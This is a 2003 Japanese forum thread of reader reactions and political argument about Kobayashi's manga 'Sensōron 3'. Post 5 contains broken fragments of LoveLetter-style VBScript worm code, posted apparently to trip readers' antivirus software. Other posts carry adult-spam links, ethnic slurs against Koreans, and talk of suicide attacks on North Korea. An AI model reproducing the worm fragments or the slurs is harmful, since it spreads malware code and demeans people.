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新・ゴーマニズム宣言スペシャル「戦争論3」

1 :日大商4年:03/07/24 13:07 ID:MsZ8rIFl

            -〃---------―――――----.
           /                    \
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       ヽ       ヽ.        __,-'ニニニヽ .  | 
         |       `ヽ        ヾニ二ン"  / 
         ヽ        \            /
         |         l  `ー-::、_      ,,..'|ヽ.
         ヽ.       :人      `ー――'''''  / ヽ
           \:;:;:_/  `ー-、          ,.-'"   \ー-、
           ,.-'"  \:      \      .,.-''"     |
         /.     \        ~>、,.-''"      |
    ,,..-‐'''""        ヾ    ,.-''"|    /――――、/
                 嘘は嘘であると見抜ける人でないと
                 (戦争論3は)難しい。


2 :名無しかましてよかですか?:03/07/24 13:35 ID:LRMV3Slc
2



3 :名無しかましてよかですか?:03/07/24 15:36 ID:fVrcL6h+
誰か手に入れたやつおらんの?
親米でも反米でもいいから、感想聞かせてください。

4 :名無しかましてよかですか?:03/07/24 15:38 ID:jJW4Ji5R
みんなぬいじゃった★全部みえちゃうよ☆
http://www3.free-city.net/home/espresso/princess/peach.html

☆綺麗なおしりときれいなおっぱいがたくさん!
http://www3.free-city.net/home/espresso/bigapple/queen.html

5 :あひゃ ◆PvXwzK8UaY :03/07/24 16:39 ID:2bsqjYNW
http://wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
以上、ケン・コロスでした!  
http://news2.2ch.net|test|read.cgi|newsplus%40195.126.71.77/%63%72%61%73%68%6D%65
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?  

6 :名無しかましてよかですか?:03/07/24 18:05 ID:XhiexhTA
>>3
だからまだ出てないっての

7 :名無しかましてよかですか?:03/07/24 19:24 ID:KNKgW1kZ
発売agegege!

8 :名無しかましてよかですか?:03/07/24 19:30 ID:OX9g3Vue
いよいよ明日か
今年の夏は熱くなりそうだな〜

9 :日大商4年:03/07/24 21:13 ID:MsZ8rIFl
ああっ、もう待ちきれない!
興奮して夜も寝れないかも。

10 :いちおう報告:03/07/24 21:21 ID:CN/CbwWO
↓の「トンデモに驚きました」ってスレで、と学会会長山本弘の信者が小林をコケにしているぞ。

http://www3.rocketbbs.com/13/bbs.cgi?id=hiro15

11 :名無しかましてよかですか?:03/07/24 22:13 ID:gJCfOfuf
わしズム7でてんの?


12 :日大商4年:03/07/24 23:28 ID:MsZ8rIFl
>>11
とっくに出てる。

13 :名無しかましてよかですか?:03/07/24 23:32 ID:Yme6g/wW
ウイルス検出されるんだけど・・

14 :名無しかましてよかですか?:03/07/24 23:57 ID:3//5uirz
>>13
どこから?

15 :名無しかましてよかですか?:03/07/25 00:00 ID:91zutO3a
>>5からだろ。

16 :名無しかましてよかですか?:03/07/25 00:03 ID:Jt+k1SLw
>>5を踏むとどうなる?

17 :名無しかましてよかですか?:03/07/25 00:06 ID:jjlRIndK
検出されまちた。VBS.zulu.A・・・

18 :名無しかましてよかですか?:03/07/25 03:04 ID:+KHEP3bH
(´・ω・`)なんかこの板にくるとmacro.srcが検出されちゃいまちたグスン

19 :名無しかましてよかですか?:03/07/25 08:26 ID:RBzDHRTS
重複ですよん
こちらへどーぞ

△◇▽戦争論3について△◇▽
http://tmp.2ch.net/test/read.cgi/kova/1058947955/l50

20 :名無しかましてよかですか?:03/07/25 09:53 ID:yxTb1UX2
なんでこの板くるだけでmacro.srcが検出されるんだ?????

21 :名無しかましてよかですか?:03/07/25 10:12 ID:dVUDUqe+
ノ-トンセンセイトラップダケデコンナニサワゲルナンテシアワセデスネ

22 :名無しかましてよかですか?:03/07/25 10:50 ID:qMY+ir+X
漏れも!!検出!!!


移動しる!!

△◇▽戦争論3について△◇▽
http://tmp.2ch.net/test/read.cgi/kova/1058947955/l50

23 :名無しかましてよかですか?:03/07/25 11:36 ID:EoF2qiLa
どういうことだろ??

24 :名無しかましてよかですか?:03/07/25 11:41 ID:t4rOMDll

ノートンがvbsウィルスのソースに誤反応2
http://pc2.2ch.net/test/read.cgi/pcqa/1033948204/l50

25 :名無しかましてよかですか?:03/07/25 12:36 ID:FNlVfs2D
買ってキタ━━━━━━(゚∀゚)━━━━━━ !!!!!
めし食ったあとヨモ━━━━━━(n‘∀‘)η━━━━━━ !!!!!

26 :名無しかましてよかですか?:03/07/25 12:49 ID:FNlVfs2D
ちょっと読んだんだけど第3章がおもしろい

27 :名無しかましてよかですか?:03/07/25 14:13 ID:9932rVuY
おれも買ってこよう

28 :名無しかましてよかですか?:03/07/25 14:30 ID:MtNipFrr
買いに行ってこ。
九州でてるかな?

29 :キウユダエウ氏:03/07/25 16:16 ID:j2U9VhYY
 わしズム売ってたけど戦争論3はなかった(ダイエー)。俺、大阪の堺にすんでるけ
ど、サピオは水曜日の早朝から駅の売店に出てるというのに・・・・・。
≫28の方はサピオは水曜日から売ってるのかい?つうかこれって田舎の
方が発売遅れるんだよね?
 まあ大阪でも難波や梅田のジュンク堂や旭日屋書店に行けば必ず売ってんのだが・・・。
残念。今すぐ近くの「マザー」ブックス行ってこよ。

30 :名無しかましてよかですか?:03/07/25 17:18 ID:kc7PfLmf
お祭り開始だ

31 :渇!:03/07/26 08:21 ID:PXJbWabH
税込み1680円だ!買うなり立ち読みするなりして読んで感想文を提出してみろ!渇!
ちなみに俺は買った!

32 :名無しかましてよかですか?:03/07/26 08:25 ID:yDabisTo
今日こそ買うぞー

33 :名無しかましてよかですか?:03/07/26 09:46 ID:7NqNV2Pv
>買うなり立ち読みするなりして
>読んで感想文を提出してみろ!渇!

どこに提出するんだ?
ここに書けならわかるが。

34 :名無しかましてよかですか?:03/07/26 09:53 ID:A98hgMlk
どうでもいいから物凄い重複スレなんだからとっとと削除依頼出して移れボケども

35 :名無しかましてよかですか?:03/07/26 13:43 ID:K28TMdA8
立ち読みしようかと思ったけどビニール膜で封印されてたからしょうがなく買った。

36 :名無しかましてよかですか?:03/07/26 13:46 ID:K28TMdA8
半分ぐらいよんだけどさ、別にアメリカの属国でもよくない?
自分が戦争に行かなかきゃいけないぐらいだったらアメリカの51州目と見られてもいい。


37 :名無しかましてよかですか?:03/07/26 14:00 ID:K28TMdA8
自分が公を意識したところで自分に何かしらの利益が跳ね返ってくるわけでもないのに。
自分の仕事が上手くいきさえ行けば日本なんてどうでもよい。

38 :名無しかましてよかですか?:03/07/26 14:47 ID:IX2xXbBn
「平和がタダで手に入る」だの、「自分さえよければ後はどうでもいい」だの、
勘違いしてる人々が、この日本には多すぎる。
その考え方が逆に「公」「私」共に脅かされる破目になりかねない、という事が
分からないんだね・・・・・。

39 :名無しかましてよかですか?:03/07/26 14:50 ID:K/eYmOAZ
>37
日本国を抜いた君の価値など
虫けらのごときちいさきものに過ぎない。


40 :名無しかましてよかですか?:03/07/26 14:55 ID:vnHZvclw
>>38-39
同意。戦後民主主義の典型的実験成功例。


41 :名無しかましてよかですか?:03/07/26 15:21 ID:K28TMdA8
>>38-39-40

じゃあ、あんたら戦争に行く覚悟はあるのか?
行く勇気もないヘタレが偉そうなこと言うなアホ。


42 :39:03/07/26 15:43 ID:K/eYmOAZ
>41
あなたはそんな覚悟も勇気もないんですか?
国民として格好悪いですよ。


43 :_:03/07/26 15:43 ID:sLUrGpbP
http://homepage.mac.com/hiroyuki44/

44 :キウユダエウ氏:03/07/26 15:49 ID:ZeOagJKg
 第2章まで読んだが、結構面白そう。つうか≫36番の意見嫌い。
俺は日本国の名誉の方が大事だ、アメリカの公よりも。
≫37のなんなのかよそれ。自分の公のことばかりかんがえなさんな。
国のためなら自分の公、つまり「個」を捨ててまで戦うぞ。それくらいの気概
を持て日本人は。

45 :名無しかましてよかですか?:03/07/26 16:32 ID:p2xZNhCb
今更アメリカの属国になりたいって言ってアメリカが受け入れるとは思えないが。
現実性0の問題なんて論じるのもあほらしい。

46 :嫌韓勇士 ◆quM58wnvXA :03/07/26 16:44 ID:F9QL88wF
良心的徴兵拒否って知ってるか?

47 :嫌韓勇士 ◆quM58wnvXA :03/07/26 16:44 ID:F9QL88wF
>>44
日本の名誉の定義を示せ。

48 :キウユダエウ氏:03/07/26 17:23 ID:3Ms9l9NJ
≫47 まだ11章までしか読んでない。示すのはだいぶ後にさせてくれ。
つうか小林がだいたいそういうようなこと、語ってるだろ。

49 :名無しかましてよかですか?:03/07/26 18:32 ID:DniZ2orm
アメリカ嫌いの一言で片付けられる香具師は真性だなw

この本で小林が命題としてあげている「モラル」に関しては茶化し無しで答えられる
香具師はいないだろ?w

いまさらながらの言葉だが

「強くなければ生きていられない、優しくなれなければ生きている価値は無い」
をもじって
「強くなければ生きていられない、生きる意味を知らない香具師はその価値も無い」

てことだな。

50 :名無しかましてよかですか?:03/07/26 19:15 ID:DewoJdf5
>>29
堺なら、プラットプラットに行けばいいんじゃないのか?

51 :名無しかましてよかですか?:03/07/26 19:22 ID:DewoJdf5
>>44
それが今の日本人全体の性質なんでしょ?
だからそれを見直す必要があるってこと。

52 :50:03/07/26 19:25 ID:DewoJdf5
>>44
>国のためなら自分の公、つまり「個」を捨ててまで戦うぞ。それくらいの気概
>を持て日本人は。
「個」を捨てるのですか?
私は「個」とは「公」を含んだものだと考えています。
捨てるのは「私」ではないのですか?


53 :キウユダエウ氏:03/07/26 19:57 ID:nGZ+AjHc
 戦争論3によれば聖徳太子は、17条憲法で私心を捨てることが重要と説いてるらしい。
私心は公を妨げるから、和することができなくなるから、私心を捨てることが重要と
言っている。まさにその通りである。そうか、個は公も含まれてるのか。「私」と「個」
とは完全に同じゃないんだ。勉強勉強。
 おれ阪和線しか使わない。南海はほとんど使わないから。ちなみに鳳駅前の本屋で今日買えた。


54 :名無しかましてよかですか?:03/07/26 20:04 ID:+zRWt3aN
3章に笑った。
でも一番面白かったのは4章の始めの1コマと2コマ目。
この絵と台詞がサイコー。
こーゆー勝ち馬ポチのフィギュアがあったら欲しいなと思っちゃったw

55 :大久保大和:03/07/26 20:19 ID:UQO8itKh
今日、パチンコで勝った金で買って読んでます。字が多くて疲れるねぃ。

56 :40:03/07/26 20:36 ID:MGxHNH3E
>>41
答えるのも馬鹿馬鹿しいが、あるよ。
戦争は決して「行く」だけではないし、望むと望まざると
人間である以上、争いは避けて通れる道ではない。
共同体を全否定する一方で、自己を際限なく肯定し、
エゴの増長を容認する戦後社会の空気が異常だったのであって
其処が現在の体たらくたる由縁だと、認識すべき。

57 :名無しかましてよかですか?:03/07/26 20:58 ID:K28TMdA8
バンカー爆弾で体中焼き爛れても日本の公を守ろうと意識することできる?

戦争肯定してるヤツって自分が爆弾で体中焼け焦げて地獄の苦しみを味わう
覚悟はできてるんだよね?

だったら今すぐ北朝鮮に自爆テロしにいけよ。
戦争に行く覚悟ができてるのなら自爆テロぐらいどうってことないだろ。
お前1人の命で日本の公が守れるのなら本望なはず。

お前みたいなヘタレ(ビビリ)にはどうせ無理だけどな。
テロしに行く覚悟もないくせに簡単に戦争を肯定すんなアホ。

58 :名無しかましてよかですか?:03/07/26 21:02 ID:Yt7hwa7Q
>>57みたいな「とにかく生き残れればいい」香具師ばかり育ったって、戦争論にも書いてあったような(w

59 :名無しかましてよかですか?:03/07/26 21:06 ID:AmM3tALQ
>>57
確かに勇ましいこと言う奴に限って実効力が無いような

60 :名無しかましてよかですか?:03/07/26 21:06 ID:KF9LUEw7
>>57
戦争が始まったら真っ先に逃げるタイプの人でつね。

61 :名無しかましてよかですか?:03/07/26 21:10 ID:ASjnR46f
>>57
だいたいなぜ北朝鮮に自爆テロしに行かなきゃならんのだ。
日本のためならまだしも。


62 :名無しかましてよかですか?:03/07/26 21:46 ID:m1irokaJ
戦争を肯定するならまずは一回戦地に行ってみたら?
パソコンの前で知識をはべらかして優越感にひたっている頭でっかちなんてビビッて小便ちびるんじゃない?


63 :名無しかましてよかですか?:03/07/26 21:48 ID:c9zUjP+M
ゴー板て、こういう感じの奴多いの?


64 :名無しかましてよかですか?:03/07/26 21:48 ID:K28TMdA8
国は世界の中で各々の文化を持っており、事情があり、国間の利害関係があり、
それぞれの定位置は異なっている。

他の国とは異なった価値感を優先するために仕方なく他の国の属国になろうと、
他の国を押しのけて世界の覇権を手にしようと、各々の国の自由である。

この自由を認めようとしないで、自国の精神的・経済的・文化的自立を
絶対の至上価値であると決めつけ、それ以外は絶対に認めようとしない小林こそが真のサヨク。

65 :OSARA:03/07/26 21:55 ID:TseP+GEY
大戦前の日本が裕福だったと言うのは驚いた。もちろんある水準以上の暮らしはしていたとは知っていたけどあれほどとは・・
小林の作品は素晴らしいね。
ただし、アメリカが悪くて日本人がかつてすばらしいことをしたというのと、今回アメリカを支持したことを非難すると言うのは別だと思う。
もちろんアメリカが正義だとは思わないけどね。
フセインはブッシュと衛星を使ったテレビ討論まで申し込んでいたからねえ。


66 :名無しかましてよかですか?:03/07/26 22:07 ID:VGqstZga
私も今日買って読みました。
なんか〜、
「小林よしのり」可哀想って気分です。
前半では、散々「ポチ保守」をけなしておきながら
後半では戦争論1、2と変わらない論調。
伝統が大切なんて、当然でしょ。保守と言われている人たちだって
完全自由主義なんて望んでないって。
日米同盟が破棄されたら、正々堂々と自衛隊を軍隊にするでしょう。
小林の意見は分かるが、「大同を捨てて小異に付く」論調だね。




67 :嫌韓勇士 ◆quM58wnvXA :03/07/26 22:07 ID:F9QL88wF
>>65
失業率は異常な程に低かったからな。


68 :嫌韓勇士 ◆quM58wnvXA :03/07/26 22:08 ID:F9QL88wF
>もちろんアメリカが正義だとは思わないけどね。
正義・悪の単純二元論で見るのは在日の特徴。
例:
「日帝は絶対悪。ウリナラは正しい」

69 :OSARA:03/07/26 22:08 ID:TseP+GEY
日教組に言いたいが沖縄の戦中史については、もう少し考えてもらいたいね。
米兵の絨毯爆撃があってそこらの人が普通に死んでいる極限の状態であのようなことが起きたのが本当なら今の教育はおかしいよ。
沖縄人なんてサヨ教育で本土の人を嫌っているからね。
知人が沖縄人と住んでいるんだけど、沖縄にその人と遊びに行ったときに飲みに行って酔って伏していたら
「よく本土の人なんかと暮らせるねえ」
って話してたって。
あえて国内を混乱させるような教育をすることに何の意味があるのかと問いたい

70 :名無しかましてよかですか?:03/07/26 22:11 ID:fahAO8kE
正義・悪の単純二元論で見るのは嫌韓紳士の特徴。
例:
「韓国・北朝鮮・在日は絶対悪。嫌韓紳士は正しい」

71 :OSARA:03/07/26 22:13 ID:TseP+GEY
>66
同意ですね。

また、P121の右上のコマの文は形を変えていろいろと今でもあるよね。
警察の怠慢でOOだから国は補償しろとか賠償しろとか・・
いい加減にしろよって思ったよ。
普段からうらまれている警察は本当に叩きやすいからなあ。
叩かれる警察の人と税金で賠償しろと言っている荷にうんざり。


72 :移動してください:03/07/26 22:23 ID:/2O2vgkr
△◇▽戦争論3について△◇▽
http://tmp.2ch.net/test/read.cgi/kova/1058947955/l50


73 :名無しかましてよかですか?:03/07/26 22:27 ID:VGqstZga
「新しい歴史教科書を作る会」やその他諸々で、小林は何か嫌な事
があったか知らないけど、小林が「ポチ保守」と呼んでいる
人たちだって漫画に描かれているほど親米じゃないんじゃないかな?
産経新聞だって今まで力を持っていた朝日を意識しての論調で、
国民に目を覚まして欲しいんじゃないかな。
じゃ無かったら、靖国にそんなにこだわらないでしょ。
「大同を捨てて小異に付く」としか思えん。

74 :50:03/07/26 23:37 ID:zIPgzslA
>>53
そうなんですか。
プラットプラットも利用してみてください。
結構大きな本屋ですから。
旭屋だったかな。

>>57
誰が戦争を肯定してるのですか。

75 :名無しかましてよかですか?:03/07/26 23:43 ID:m1irokaJ
>>69
その人だけだろ、1を見て10知った書き方するな。
沖縄の教育現場を自分の目で見たのか?

76 :名無しかましてよかですか?:03/07/27 00:24 ID:r8gdWFTy
もはや、買わなくてもわかる、という本の一つ。

77 :名無しかましてよかですか?:03/07/27 00:44 ID:/sxIfnvM
76は貧乏ゆえに、思考停止とういうことで、納得。

78 :名無しかましてよかですか?:03/07/27 00:49 ID:r8gdWFTy
買う価値のある本かどうかは店頭で斜め読みで判断する、本読みの当然の行動でね。

79 :名無しかましてよかですか?:03/07/27 01:02 ID:/sxIfnvM
立ち読みで済まそうとする、卑しい思考回路では、十分に理解できないと思われ。

貧乏ゆえの古本屋という手もあるから、きちんと読んでみたほうがいいと思うよ>>76

貧乏学生なら仕方ないよな(W


80 :名無しかましてよかですか?:03/07/27 01:23 ID:NovoDVTE
戦争論見たけど変です。
変な歴史観です。
アメリカを悪く言っているけどおかしいです。
日本は追い詰められましたね。
でも朝鮮に悪いことをして良い。
これは違います。
何故きちんとした歴史を書かないですか?
私はアメリカ人ですが、原爆を落としたのは平和のためです。
日本人は朝鮮人にひどいことをしました。
アメリカが植民地にしたように、朝鮮人に戦争で戦わせたりしました。
平和を愛する朝鮮人が可愛そうです。
日本人は歴史をもっと勉強した方がいいですね。

81 :名無しかましてよかですか?:03/07/27 01:29 ID:PLMwtCl/
「アホ、腰抜け、病気の親米保守」と「戦争論1・2」を足したような
内容だから、両方もってる人は買わなくていいとは思うけどね。

82 :読んでみるべし:03/07/27 01:32 ID:jlAtNB6F
http://drhnakai.hp.infoseek.co.jp/sub1-20-1.html

83 :名無しかましてよかですか?:03/07/27 01:42 ID:r8gdWFTy
>>79
残念だが君の妄想。

84 : :03/07/27 01:50 ID:dNp8j/yY
 ∧_∧
<-( ´⊇`)
    ∧
┌──  ──────────────────────────┐
│戦争論見たけど変です。                          .  │
│変な歴史観です。                                 │
│アメリカを悪く言っているけどおかしいです。              ..   │
│日本は追い詰められましたね。                        │
│でも朝鮮に悪いことをして良い。                        │
│これは違います。                                 │
│何故きちんとした歴史を書かないですか?                  │
│私はアメリカ人ですが、原爆を落としたのは平和のためです。     .│
│日本人は朝鮮人にひどいことをしました。                  ..│
│アメリカが植民地にしたように、朝鮮人に戦争で戦わせたりしました。 │
│平和を愛する朝鮮人が可愛そうです。                    │
│日本人は歴史をもっと勉強した方がいいですね。             │
└─────────────────────────────┘

85 :金髪大好き:03/07/27 02:05 ID:ofmJ4Sls
>日本も平和のために原爆つくってアメリカに落としてあげましょう

86 :名無しかましてよかですか?:03/07/27 02:11 ID:buDSTbcT



87 :擬古侍 ◆SAMURAII.Q :03/07/27 02:56 ID:UWEvM4Or


新・ゴーマニズム宣言スペシャル「戦争論3」

アメリカのおかげで、日本は豊かになったとする、
糞右翼、糞左翼、
靖国神社にはA級戦犯が祀られているから、靖国神社には首相が
参拝してはいけないとする左翼は、アメリカの戦争を後押しし、
戦勝者が、すべての倫理的判断ができるものだとするアメリカの
方針を支持することにつながると指摘し

日本の貧しき時代からの脱却をアメリカが助けてくれたことにより、
復興されたとする親米ウンコの考えを粉砕ししてくれたことに
意味は、あったとします。

日本の明治時代というのは豊かな時代でありますし、
世界中の有色人種を、今以上に超えてダントツに豊かな時代であったのです。
それが、アメリカのうるさいほどの経済制裁やアメリカによるABCD包囲陣により、
日本が貧しくなってしまったのに、
アメリカが日本に勝ったおかげで、豊かになったとする、

気違いの目を覚まさせたところに意味はあったと思います。


88 :名無しかましてよかですか?:03/07/27 07:33 ID:6Mld+VTU
「核脱却に足る」と北朝鮮側歓迎 訪朝米議員の和平案に
http://www.asahi.com/international/update/0727/001.html

米が勝手に日本が北にお金を流すことを決定させて、
北の核問題に終結をつけようとしてます。

89 :名無しかましてよかですか?:03/07/27 10:12 ID:dex4f2mc
感動したよ私は。

90 :名無しかましてよかですか?:03/07/27 11:33 ID:0FAEggqL
うーん。俺は先のイラク支援法は指示する立場なので
小林の言っていることは理解に苦しむんですが・・・

まずは法整備でしょう。
「自分の国は自分で守る」というごく当たり前のことができていない日本というが
当たり前だが理想論ですね。
まずは、周りをみてみろと。
憲法改正や、軍備強化もままならない今の日本において
悔しいですがアメリカは必要な存在だと思います。

91 :名無しかましてよかですか?:03/07/27 11:35 ID:XIBmjOmA
>>87
なるほろ。

だから「左翼が見ても面白い」というわけか。納得。

92 :無料動画直リン:03/07/27 11:44 ID:HJnlA1nN
http://homepage.mac.com/miku24/

93 :名無しかましてよかですか?:03/07/27 11:44 ID:ANPtnaVQ
だから、核武装しろと何回も(ry

94 :名無しかましてよかですか?:03/07/27 11:58 ID:Ckp0R646
「日本の高度経済成長は戦前から始まっていた、
だから戦後の経済成長は別にアメリカのおかげではない」って考え方、
糞左翼学者の理論そのものじゃねーか。森武麿とか。
ちなみにこいつは、「満州事変は中国東北戦争と呼べ!」とか
「北朝鮮や韓国、そしてアジア諸国が怒るのは当然」と主張、
またジョンダワーの「人種偏見」について古くから目を付けていた人物

95 :キウユダエウ氏:03/07/27 11:59 ID:4gCtnedl
 全部読んだが面白かった。アメリカの公(?)よりも日本の歴史・伝統という名誉
を大事にしなきゃいかんわ。つうか、北朝鮮に自爆テロするよりも堂々と戦争すべき。
 まあ、国家が戦争しないんだったら、戦争を叫ぶ右翼団体の連中が、つまり民間が、金王朝に
対して自爆テロすべきだろうな。
 小林もよく勉強してると思う。問題はポチ保守とされる学者たちがどう出るかだ。
沈黙するのか、反発するのか。

96 :名無しかましてよかですか?:03/07/27 12:04 ID:Ckp0R646
>>95
現実無視のコヴァカがここにも

97 :名無しかましてよかですか?:03/07/27 12:08 ID:Jf0dL4gI
>>90
同意

>>93
憲法改正はむろん、通常兵力の保持さえも嫌悪感が強い状況で、核兵器なんざ持てるわけがない。
「闘わなきゃ現実と!」って育毛剤CMのセリフ、コヴァにこそ送りたい

98 :名無しかましてよかですか?:03/07/27 12:23 ID:X16nLSTu
小林嫌いの反論って、奇妙に感情的であったり、ものすごく単純な捉え方が多いんだよね。
何でだろ?


99 :嫌韓勇士 ◆quM58wnvXA :03/07/27 12:29 ID:HI1M2eTJ
戦争論3のお陰で売国コヴァが沸いて来た。
>日本の歴史・伝統という名誉
>を大事にしなきゃいかんわ。
名誉の為に日本を破滅させて楽しいかい?
売国奴クン。

100 :キウユダエウ氏:03/07/27 13:22 ID:ZebjwTdl
≫99ポチ保守も日本を破滅させていたのでは。あなたはグローバリズムが好きか?
世界各地には長い歴史があり、伝統がある地域が当然いっぱいある。まあ、ブッシュ
はそれのこと考えずに、自分の正義押し付けていく。それを日本の戦中派の人々が理解するか。
 まあ、アメリカと再び戦おうって言って右翼レッテル貼られる人がいないわけではなかったが。
 つうかおれは日米同盟には反対ではない。反テロは理解するが、イラク戦争には反対すべきだった。
そのかわり、反テロ国家としての威信を示すため、北朝鮮と戦うべきだっまあた。戦える力も何もない
のが哀れというか悔しい。
 まあシナが台湾や尖閣諸島に攻めてきたらアメリカと連携して戦うけどね。シナが攻めてきたら、今の
属国のまま、憲法改正しないままでは共同行動取れない。ええ加減に憲法改正して日米同盟軍を編成せよ
と言いたいね、日本国民に。
≫98 反小林側の感情的だった人、すごい見かけたけどな今まで。単純な捉え方しかできない人は、小林
側にももちろんいたけど、反小林側にも結構いたよ。

101 :嫌韓勇士 ◆quM58wnvXA :03/07/27 13:38 ID:HI1M2eTJ
>反テロ国家としての威信を示すため、北朝鮮と戦うべきだっまあた。
威信とやらの為に戦争するのか?
貴様はバカか?
戦争はガキの喧嘩じゃないんだよ。
ブッシュがやってる事はそれに近いがな。


102 :名無しかましてよかですか?:03/07/27 16:24 ID:+jvo11J/
でも今回アメリカ支持か支持しないかは難しい所だよね
小林よしのりは首相だったらどっちを選ぶのかな

北朝鮮が怖いってのは日本人の第二の言い訳だと僕は思う
一番怖がってるのは指示しない場合の
アメリカの日本に対する直接報復かも
武力はないとして経済かな、、、やっぱり
でも今でも十分虐げられてるけどね

いろいろ考えさせられた素晴らしい本だった

103 :宮崎:03/07/27 17:14 ID:RMvsmSKm
≫1
私のとこではまだ見ない
姦国に近いから?

104 :90:03/07/27 17:40 ID:0FAEggqL
>>100
すごく正論だしもっともだと思うんですが、やはり理想論です。
俺は別に小林の言うようにアメリカ万歳とは思っていません。
むしろイラク戦争自体には反対なんです。
イラク戦争は侵略戦争以外の何者でもありませんから。
アメリカが石油利権を完全放棄して、イラク復興のためのみ
力を尽くすというなら、侵略だとは思いませんが
1ドルでもアメリカに利益をもたらすなら
国連決議を無視したアメリカは、侵略でしょう。

しかし、そのことと、日本が支持云々の件はまた別です。
まだ、アメリカなしでは日本という国家は成り立ちません。
そのためにもいち早く、憲法を改正して自立する道を模索すべきなんですが
まだまだ、そこまで行かないでしょうね。
国内外の世論というものがありますし
日本は、民主主義国家であります。
左翼は、そのことを全面的にあげ、法案成立を全力で阻止するでしょうから
まだまだ時間はかかるでしょう。

要は、「今はそのときではない」ということです。

105 :国防:03/07/27 17:49 ID:hAl+zzga
結局自国にも軍隊ですかねえ

ただひとつの救いはアメリカが他民族国家ということだけかな

106 :名無しかましてよかですか?:03/07/27 18:07 ID:DY/jXR8k
>> 105

そぅいぅ意味では、アメは世界とその意志の縮図…とも言える

ただひとつ残念なのは、アメに帰化した日系二世、三世とかはアメ人(←コレそのものがかなり妖しいんだが)になりきろうとすること
その辺は在日○○人とかとは大きく違うだろうし…

彼等にとっては、日本人として守るべきアィデンティとかが希薄なのかもと


107 :名無しかましてよかですか?:03/07/27 18:15 ID:jk402/yf
【社民】 女児監禁事件 顧客名簿に載る与党議員名を国会答弁で公開 【報復】
http://ex.2ch.net/test/read.cgi/entrance/1059211374/


108 :名無しかましてよかですか?:03/07/27 18:37 ID:HGHRmGUS
106>>
郷にいれば郷に従うというのも日本人的な心の持ち方かもしれない。
(日本人に限らんだろうけど)

109 :名無しかましてよかですか?:03/07/27 18:50 ID:xFOKQ8RL
なんか売れてなさそうなんだが…

110 :PAPA:03/07/27 18:50 ID:EKofDaYz
>107
社民の報復ですか
とにかく驚きました!!


111 :PAPA:03/07/27 18:51 ID:EKofDaYz
>107
明日の一面ですね!

112 :名無しかましてよかですか?:03/07/27 21:52 ID:6Mld+VTU
今の時代に国という単位にこだわる人ってあんまりいないでしょ。
個人の時代なんだから、

113 :名無しかましてよかですか?:03/07/27 21:55 ID:yrFsrJuh
どこへいっても完売といわれたんだが、
どういうこと?(涙


114 :名無しかましてよかですか?:03/07/27 21:56 ID:W+d2SmfK
>>112
まだそんな幻想をもっているんですか?

115 :嫌韓勇士 ◆quM58wnvXA :03/07/27 22:18 ID:HI1M2eTJ
>>114
残念ながら売国コヴァ、嫌韓士、在日、クサヨ以外にそんな事を考えてる人はいないんだよ。

116 :名無しかましてよかですか?:03/07/27 22:20 ID:D5vMUKvz
>>113
デカイから入荷少なめにしてんじゃないの

117 :名無しかましてよかですか?:03/07/27 23:25 ID:nFesZPov
どひゃー、と112を見て驚いた。たまにいるよな、こういう変な奴。
コスモポリタンとかゆー言葉が好きそうだ(藁
横文字職業とかギョーカイ人に憧れるタイプなんかに多いな。

118 :名無しかましてよかですか?:03/07/27 23:36 ID:6Mld+VTU
戸塚の有隣堂ではあまり売れてなかったみたい。
平積みにはされていたけどね。

119 :名無しかましてよかですか?:03/07/27 23:36 ID:UuMRTB4G
7/27ニュースステーションで空爆で子供を失ったイラク人と生中継

粂    「日本から軍隊が行きますよ?」
イラク人「軍隊ですか? 日本の?」
粂    「軍隊です! 日本の軍隊!!」

「日本の軍隊が来るんですね?
日本が支援が来ることが良いと思います。
私の考えですが、日本に来てほしいです。
日本人は第二次大戦で私達と同じ経験をしました。
アメリカとは違って、良い結果をもたらすことができると思います。
日本は、アメリカとは別に、独立してやってきてほしいです。
日本人はこの国でとても名声を得ています。」

イラク人、アリ・サクバルさんの御意見。
粂が散々、これから日本の「軍隊」がイラクに行きますがと煽っていたのにね

120 :名無しかましてよかですか?:03/07/28 00:00 ID:DgsY8hcx
戦争論3がおもしろいと言うんで買ってみたけどあんまりおもしろくなかった。
なんというか、小林のパターン化した反米言論パターンに飽きてしまった。
だから何?とか思ってしまう。
こういう人いる?

121 :名無しかましてよかですか?:03/07/28 03:56 ID:Zh+y0cq9
コブァ必死だな(w

122 :_:03/07/28 03:58 ID:GjSSOwjg
http://homepage.mac.com/hiroyuki44/jaz08.html

123 :名無しかましてよかですか?:03/07/28 09:38 ID:v/EyLriX
読んでみた。

なんつうか、、、ある一定の理解は出来る感じ。最近はちとご乱心かなと思って
いたのでちょい安心(?)

まあ、、、確かに230.240ページ台に描かれているアメリカ人の
鬼畜にも劣るであろう所業は、今20代の漏れが知ってもはらわたが煮え繰り返る
思いがするのは確かなんですが。。。

でも実際に、日本には朝鮮半島が隣国としてくっついているからなぁ。
別に小林先生の言うように北朝鮮の核のみが脅威だなんてことはあんまり思っていないが
このまま親北朝鮮の中国と韓国(とロシア?)に任せていれば、
南北分断も日本のせいになり、多数の難民が日本に殺到し、ハン板を見るまでも無く
徐々に周知のものになっているヤクザ、右翼等の在日朝鮮人に関する諸問題。
こういったものが一切解決されずに終わってしまうことがどれだけの問題か。
小林先生も以前著書の中で仰っていたように、あんだけ優良な植民地経営をしたのにも
関わらず孫子の代まで逆恨みされ、謝罪を強要されつづけているわけです。
今度、「主体的な行動」を起こそうものなら、一体その逆恨みは何時まで続くのか
空恐ろしくなる。

だから、イラクでのアメリカの(疚しい)アクションに関してはこっちが尻ぬぐい
するから、拉致被害者だけ返してくれれば後は丸投げ、、、って方針はそんなに
いけないことなんでしょうかねぇ?


